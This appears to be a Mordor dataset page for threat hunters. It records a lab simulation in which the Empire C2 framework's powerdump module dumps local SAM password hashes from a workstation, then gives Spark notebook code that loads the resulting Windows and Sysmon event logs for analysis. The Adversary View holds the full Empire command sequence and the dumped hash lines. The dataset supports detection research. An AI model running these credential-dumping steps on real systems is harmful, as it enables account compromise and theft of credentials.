Empire Powerdump Extract Hashes

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/09/22

Modification Date

2020/09/22

Tactics

[‘TA0006’]

Techniques

[‘T1003.002’]

Tags

[‘Calculating SysKey’, ‘SAM Read’]

Dataset Description

This dataset represents adversaries calculating the SysKey to decrypt Security Account Mannager (SAM) database entries (from registry or hive) and get NTLM, and sometimes LM hashes of local accounts password.

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Mordor shire

C2

powerdump

Adversary View

(Empire: powershell/credentials/mimikatz/sam) > agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
WE8XYD3K ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         5972   5/0.0    2020-09-22 08:21:35  http            

(Empire: agents) > interact WE8XYD3K
(Empire: WE8XYD3K) > usemodule credentials/powerdump*
(Empire: powershell/credentials/powerdump) > info

              Name: Invoke-PowerDump
            Module: powershell/credentials/powerdump
        NeedsAdmin: True
        OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
  OutputExtension: None

Authors:
  DarkOperator
  winfang
  Kathy Peters
  ReL1K

Description:
  Dumps hashes from the local system using Posh-SecMod's
  Invoke-PowerDump

Comments:
  https://github.com/darkoperator/Posh-
  SecMod/blob/master/PostExploitation/PostExploitation.psm1

Options:

  Name  Required    Value                     Description
  ----  --------    -------                   -----------
  Agent True        WE8XYD3K                  Agent to run module on.                 

(Empire: powershell/credentials/powerdump) > execute
[*] Tasked WE8XYD3K to run TASK_CMD_JOB
[*] Agent WE8XYD3K tasked with task ID 4
[*] Tasked agent WE8XYD3K to run module powershell/credentials/powerdump
(Empire: powershell/credentials/powerdump) > 
Job started: TASK2D

wardog:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

(Empire: powershell/credentials/powerdump) >

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/credential_access/host/empire_powerdump_sam_access.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+---------------------------+----------------------------------------+-------+-----+
|Hostname                   |Channel                                 |EventID|count|
+---------------------------+----------------------------------------+-------+-----+
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |162  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |7      |159  |
|WORKSTATION5.theshire.local|Windows PowerShell                      |800    |135  |
|WORKSTATION5.theshire.local|Microsoft-Windows-PowerShell/Operational|4103   |118  |
|WORKSTATION5.theshire.local|security                                |4658   |102  |
|MORDORDC.theshire.local    |Security                                |4658   |64   |
|WORKSTATION5.theshire.local|security                                |4656   |51   |
|WORKSTATION5.theshire.local|security                                |4690   |51   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |11     |40   |
|MORDORDC.theshire.local    |Security                                |4690   |32   |
|MORDORDC.theshire.local    |Security                                |4656   |32   |
|MORDORDC.theshire.local    |Security                                |4663   |32   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |26   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |23     |24   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |13     |15   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |15   |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |14   |
|WORKSTATION5.theshire.local|security                                |4663   |11   |
|MORDORDC.theshire.local    |Security                                |5156   |10   |
|WORKSTATION5.theshire.local|Windows PowerShell                      |600    |8    |
+---------------------------+----------------------------------------+-------+-----+
only showing top 20 rows